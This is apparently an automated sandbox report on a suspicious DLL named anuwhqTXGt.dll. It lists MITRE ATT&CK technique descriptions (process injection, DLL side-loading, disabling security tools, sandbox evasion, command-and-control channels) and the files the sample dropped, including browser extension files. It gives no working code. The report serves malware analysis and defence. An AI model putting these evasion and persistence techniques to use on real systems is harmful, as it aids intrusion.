std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000021BD97777A9

Strings

bad locale name, xrefs: 0000021BD9777769

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: Exceptionstd::_$Copy_strFileHeaderLocinfo::_Locinfo_ctorLockitLockit::_RaiseThrow_lockstd::exception::_std::exception::exception
String ID: bad locale name
API String ID: 3392404118-1405518554
Opcode ID: a998095993532cd94ce3cb73dfd50f51b2c91691957b8105974786951bd3b1a7
Instruction ID: 0a33c8eb0a409c54a097be4daeb27b3682e20b659b0f2a803655be98e64a71e9
Opcode Fuzzy Hash: a998095993532cd94ce3cb73dfd50f51b2c91691957b8105974786951bd3b1a7
Instruction Fuzzy Hash: DD11B233205B8089D71ACF64F88418977B5F76CBA4F554225D69C437ADEB34C554C340

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report anuwhqTXGt.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Wimsys\msg.exe

C:\Program Files (x86)\Wimsys\msg.inf

C:\Program Files (x86)\Wimsys\uninstall.exe

C:\Program Files (x86)\Wimsys\uninstall.tar

C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.9089aa03-3593-48cf-80b0-7499dec9f58a.1.etl

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

C:\Users\Public\fbe\fbegbhf.dll

C:\Users\Public\fbe\upd.inf

C:\Users\Public\wss_tmp\cr_ws_2.dll

C:\Users\Public\wss_tmp\infile_x64.cab

C:\Users\user\AppData\Local\Temp\nskFC4E.tmp

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\0.crx

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\1.crx

C:\Users\user\AppData\Local\Temp\nsqF009.tmp\2.crx

Windows Analysis Report
anuwhqTXGt.dll

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre